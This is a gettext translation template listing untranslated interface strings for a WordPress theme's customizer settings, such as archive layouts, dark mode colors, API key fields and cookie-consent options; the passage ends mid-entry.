#: inc/js_composer/inc/vc-params-helper.php:486
#: inc/js_composer/inc/vc-params-helper.php:1690
#: inc/js_composer/params/loop/register.php:285
#: inc/js_composer/shortcodes/big_grid/settings.php:111
#: inc/js_composer/shortcodes/small_list/settings.php:247
#: inc/widgets/advanced_categories.php:191
#: inc/widgets/categories_stylist.php:220
msgid "Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:204
#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:60
msgid "Primary Category from \"Yoast SEO\" or \"Rank Math\" plugin"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:210
msgid "Order Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:229
msgid "Sort Order Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:240
msgid "Words Length for Post Titles on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:261
msgid "Amount of Posts Display on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:280
msgid "Custom Padding Bottom of Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:299
msgid "Hide Date on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:306
msgid "Hide Related Posts Popup on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:6
#: inc/js_composer/soledad_vc.php:197 inc/js_composer/soledad_vc.php:581
#: inc/js_composer/soledad_vc.php:1170
msgid "Enable Post Meta Overlay Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:7
#: inc/js_composer/soledad_vc.php:198
msgid "This option just apply for Standard Layout Only"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:14
#: inc/js_composer/soledad_vc.php:207
msgid "Hide Post Thumbnail"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:21
#: inc/js_composer/soledad_vc.php:217
msgid "Disable Autoplay for Slider on Posts Format Gallery"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:28
#: inc/js_composer/soledad_vc.php:227
msgid "Make Featured Image Auto Crop"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:35
msgid "Enable Uppercase in Post Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:42
msgid "Turn Off Uppercase in Post Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:105
msgid "Display Post Excerpt Instead of Full Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:112
#: inc/js_composer/soledad_vc.php:328
msgid "Disable Hover Effect on \"Continue Reading\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:119
#: inc/js_composer/soledad_vc.php:338
msgid "Make \"Continue Reading\" is A Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_standard_classic_section.php:173
msgid "\"Continue Reading\" Button Alignment"
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:5
msgid "Disable Default User Profile Pages"
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:6
msgid ""
"Turn on this option if you want to use user profile pages with third-party "
"plugins (such as WooCommerce, ProfilePress, EDD, ...)."
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:14
msgid "Page URL Settings"
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:22
msgid "Account Page Slug"
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:23
#: inc/customizer/config/sections/penci_userprofile_section.php:32
#: inc/customizer/config/sections/penci_userprofile_section.php:41
#: inc/customizer/config/sections/penci_userprofile_section.php:50
msgid "Default: "
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:31
msgid "Edit Account URL Slug"
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:40
msgid "Change Password URL Slug"
msgstr ""

#: inc/customizer/config/sections/penci_userprofile_section.php:49
msgid "Change Post Likes URL Slug"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:4
msgid "Category, Tag, Search, Archive Layout"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:42
msgid "Archive Builder Templates"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:49
#: inc/meta-box/categories-meta-box.php:180
msgid "Default Template"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:60
msgid "Select Builder Template for Categories Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:61
msgid ""
"To select a custom template for each category, go to Dashboard > Posts and "
"edit the category for which you want to change the template. You can add and "
"edit a category template on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:70
msgid "Select Builder Template for Tags Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:74
msgid ""
"You can add new and edit a tag template on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:80
msgid "Select Builder Template for Author Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:84
msgid ""
"You can add new and edit a author template on <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:90
msgid "Select Builder Template for Day/Times Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:94
msgid ""
"You can add new and edit a day/times archive template on <a class=\"wp-"
"customizer-link\" target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:100
msgid "Select Builder Template for Search Result Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:104
msgid ""
"You can add new and edit a search result template on <a class=\"wp-"
"customizer-link\" target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:110
msgid "Grid 2 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:111
msgid "Grid 3 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:112
msgid "Grid 4 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:113
msgid "Grid 5 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:114
msgid "Featured 3"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:115
msgid "Featured 4"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:116
msgid "Featured 5"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:117
msgid "Featured 6"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:118
msgid "Featured 7"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:119
msgid "Featured 8"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:120
msgid "Featured 9"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:121
msgid "Featured 10"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:122
msgid "Featured 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:123
msgid "Featured 12"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:124
msgid "Featured 13"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:125
msgid "Featured 14"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:126
msgid "Featured 15"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:127
msgid "Featured 16"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:128
msgid "Featured 17"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:129
msgid "Featured 18"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:130
msgid "Featured 19"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:131
msgid "Featured 20"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:132
msgid "Featured 21"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:133
msgid "Featured 22"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:137
msgid "Show Featured Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:145
msgid "Category Pages Featured Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:158
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:219
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:303
msgid "Height for Featured Styles"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:159
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:189
msgid "for Featured Posts on Category Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:188
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:247
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:329
msgid "Height for Featured Styles on Tablet"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:206
msgid "Tag Pages Featured Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:248
msgid "for Featured Posts on Tags Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:264
msgid "Featured Posts Sort By"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:280
msgid "Featured Posts Order By"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:283
#: inc/elementor/base/base-widget.php:1282
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:93
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1873
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:139
#: inc/js_composer/shortcodes/web_stories/settings.php:52
msgid "DESC"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:284
#: inc/elementor/base/base-widget.php:1281
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:92
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1872
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:138
#: inc/js_composer/shortcodes/web_stories/settings.php:53
msgid "ASC"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:292
msgid "Image Ratio for Grid Layout (Unit is %. Eg: 50.5)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:348
msgid "Gap Between Featured Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:367
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:153
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:230
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:394
#: inc/js_composer/shortcodes/big_grid/settings.php:125
#: inc/js_composer/shortcodes/small_list/settings.php:292
msgid "Custom Title Words Length"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:386
msgid "Hide Categories"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:407
msgid "Show Comments Count"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:421
msgid "Show Reading Time"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:428
msgid "Hide Categories on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:435
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:303
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:626
msgid "Hide Post Meta on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:449
msgid "Latest Posts Heading Title Below the Featured Area"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:450
msgid "Replace your category/tag name with {name} string."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:458
msgid "Select Latest Posts Title Heading Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:463
msgid "Follow Title Box Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:489
msgid "Featured Posts Font Size & Colors"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:496
#: inc/js_composer/inc/vc-params-helper.php:1152
#: inc/js_composer/inc/vc-params-helper.php:1347
#: inc/js_composer/inc/vc-params-helper.php:1715
msgid "Font Size for Post Categories"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:519
msgid "Big Grid Font Size for Post Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:551
msgid "Font Size for Post Title on Big Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:577
msgid "Big Grid Font Size for Post Meta"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:598
msgid "Post Categories Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:605
msgid "Post Categories Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:632
msgid "Post Meta Links Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:639
msgid "Post Meta Links Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:647
#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:233
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:76
msgid "Other Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:653
msgid "Enable Load More Button for Categories, Tags, Search, Archive Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:660
msgid "Enable Infinite Scroll for Categories, Tags, Search, Archive Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:687
msgid "Move Description of Category, Tag, Archive Pages Below Post Listings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:694
msgid "Disable Auto Collapse Description Content"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:701
msgid "Category, Tags, Archive Description Align"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:714
msgid "Enable Sidebar On Archives"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:721
msgid "Enable Left Sidebar On Archives"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:728
msgid "Enable Two Sidebars On Archives"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:735
msgid "Remove \"Category:\" Words on Category Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:742
msgid "Remove \"Tag:\" Words on Tag Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:749
msgid "Custom Sidebar Display on Category Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:758
msgid "Custom Sidebar Left Display on Category Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:760
msgid ""
"If the sidebar you choose is empty, the Main Sidebar Left will be displayed. "
"This option is only used when you enable 2 sidebars for archive pages."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:767
msgid ""
"Google Adsense/Custom HTML Code to Display Above Posts Layout for Archive "
"Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:769
msgid ""
"You can display Google AdSense or custom HTML code above posts on category, "
"tag, search, and archive pages by using this option."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:777
msgid ""
"You can display Google AdSense or custom HTML code below posts on category, "
"tag, search, and archive pages by using this option"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:783
msgid "In-Feed Ads"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:810
msgid ""
"Please use normal responsive ads here to get the best results. In-feed ads "
"cannot work with auto-ads because auto-ads will randomly place your ads in "
"random places on the pages."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:4
msgid "Enable Body Boxed Layout"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:5
msgid "This option does not apply when you enable vertical navigation"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:12
msgid "Background Color for Body Boxed"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:19
msgid "Background Image for Body Boxed"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:25
msgid "Background Body Boxed Repeat"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:36
msgid "Background Body Boxed Attachment"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:40
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:196
#: inc/dashboard/lib/meta-box/inc/fields/background.php:131
#: inc/options/framework/fields/background/background.php:204
msgid "Fixed"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:41
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:197
#: inc/dashboard/lib/meta-box/inc/fields/background.php:132
#: inc/options/framework/fields/background/background.php:203
msgid "Scroll"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:42
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:198
msgid "Local"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:48
msgid "Background Body Boxed Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:52
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:209
#: inc/dashboard/lib/meta-box/inc/fields/background.php:148
#: inc/elementor/base/base-widget.php:732
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:173
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:211
#: inc/meta-box/register/page.php:564
#: inc/options/framework/fields/background/background.php:219
#: inc/template-builder/single-elements/relatedpost.php:641
#: inc/woocommerce/modules/metaboxes.php:219
msgid "Cover"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_body_boxed_section.php:53
#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:208
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:175
#: inc/meta-box/register/page.php:565
#: inc/options/framework/fields/background/background.php:221
#: inc/woocommerce/modules/metaboxes.php:220
msgid "Auto"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:11
msgid "Enable Dark Mode Switcher"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:19
msgid "Set Dark Mode as Default"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:27
msgid "Switcher Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:41
msgid "Auto Dark Mode"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:45
#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:202
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:74
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:130
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:142
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:954
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:53
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:62
#: inc/meta-box/meta-box.php:1032 inc/meta-box/meta-box.php:1069
#: inc/meta-box/meta-box.php:1091 inc/meta-box/register/page.php:337
msgid "Disable"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:46
msgid "By Operating System"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:47
msgid "By User Time"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:53
msgid "Dark Mode Colors"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:60
msgid "Logo for Dark Mode"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:67
msgid "Logo for Vertical Mobile Navigation"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:73
msgid "Background Color for Body"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:96
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:162
#: inc/js_composer/shortcodes/login_form/settings.php:69
#: inc/js_composer/shortcodes/pc_archive_description/settings.php:36
#: inc/js_composer/shortcodes/pc_single_content/settings.php:35
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:94
#: inc/js_composer/shortcodes/popular_cat/settings.php:67
#: inc/js_composer/shortcodes/small_list/settings.php:607
#: inc/js_composer/soledad_vc.php:1492
msgid "Link Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:103
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:172
#: inc/js_composer/shortcodes/big_grid/settings.php:973
#: inc/js_composer/shortcodes/login_form/settings.php:76
#: inc/js_composer/shortcodes/pc_archive_description/settings.php:43
#: inc/js_composer/shortcodes/pc_single_content/settings.php:42
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:101
#: inc/js_composer/shortcodes/popular_cat/settings.php:74
#: inc/js_composer/shortcodes/small_list/settings.php:614
#: inc/js_composer/soledad_vc.php:1499
msgid "Link Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:110
msgid "General Heading Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:126
msgid "Posts Meta Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:134
msgid "Dark Mode Switcher Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:149
msgid "Day Button/Icon Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:157
msgid "Day Button/Icon Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:165
msgid "Night Button/Icon Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:173
msgid "Night Button/Icon Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:4
msgid "General Text Colors"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:11
msgid "Accent Colors"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:18
msgid "Custom General Buttons Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:25
msgid "Custom General Buttons Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:32
msgid "Custom General Buttons Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:39
msgid "Custom General Buttons Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:46
msgid "Custom Background Color for Body"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:53
msgid "Custom General Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:67
msgid "Breadcrumbs Text Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:74
msgid "Archive Page Titles Prefix Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:81
msgid "Archive Page Titles Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:88
msgid "Selector Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:95
msgid "Selector Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:102
msgid "Enable Dark Theme"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:104
msgid ""
"All options below only apply when you enable dark theme. And all other "
"elements, please change it via other colors options for those elements."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:110
msgid "Custom Text Color for Dark Theme"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:118
msgid "Custom Posts Meta Color for Dark Theme"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:125
msgid "Filled Categories Styles"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:126
msgid ""
"The options below apply for categories listing filled styles you selected "
"via General > General Settings > Style for Post Categories Listing"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:161
msgid "Pagination/Load More Post Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:167
msgid "Color for Pagination"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:174
msgid "Accent Color for Pagination"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:181
msgid "Color for \"Load More Posts\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:188
msgid "Borders Color for \"Load More Posts\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:195
msgid "Background Color for \"Load More Posts\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:202
msgid "Color on Hover for \"Load More Posts\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:209
msgid "Borders Color on Hover for \"Load More Posts\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_colors_section.php:216
msgid "Background Color on Hover for \"Load More Posts\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:4
msgid "YouTube API Key"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:9
msgid ""
"Please go to <a class=\"wp-customizer-link\" href=\"https://developers."
"google.com/youtube/v3/getting-started?hl=en\" target=\"_blank\">https://"
"developers.google.com/youtube/v3/getting-started?hl=en</a> and check this "
"giude and get the YouTube API Key"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:12
msgid "Weather API Key"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:17
msgid "Click here to get an api key"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:17
msgid "<a class=\"wp-customizer-link\" href=\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:20
msgid "Google Map API Key"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:25
msgid ""
"When you use \"Penci Map\" element from Elementor or WPBakery page builder, "
"it required an Google Map API to make it works."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:45
msgid "Hide \"Archive Template\" in the Admin Side Panel Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:53
msgid "Hide \"Post Template\" in the Admin Side Panel Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:61
msgid "Hide \"Header Builder\" in the Admin Side Panel Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:68
msgid "Hide \"Penci Blocks\" in the Admin Side Panel Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:76
msgid "Disable New Version Update Notice on The Admin Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:77
msgid ""
"You can check <a class=\"wp-customizer-link\" href=\"https://imgresources.s3."
"amazonaws.com/notice-updates.png\" target=\"_blank\">this image</a> to "
"understand what's \"new version update notice on admin page\". When a new "
"version released, this notice will appear. This option will help you disable "
"this notice if you want."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_extra_section.php:85
msgid "Use Fontawesome Version 5"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:4
msgid ""
"Remove all default google fonts - load default fonts from located hosting"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:10
msgid "Remove all default fonts loads by the theme from located hosting"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:12
msgid ""
"This option only works when you check to option \"Remove all default Google "
"fonts\" above."
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:17
msgid "Enable Cookie Law Policy PopUp At The Footer"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:23
msgid "Remove \"Privacy & Cookies Policy\" notice after Accept clicked"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:29
msgid "Custom Description on Cookie Law PopUp"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:36
msgid "Custom Text \"Accept\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:43
msgid "Custom Text \"Read More\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:50
msgid "Custom URL on \"Read More\" Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:57
msgid "Custom Text \"Privacy & Cookies Policy\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:64
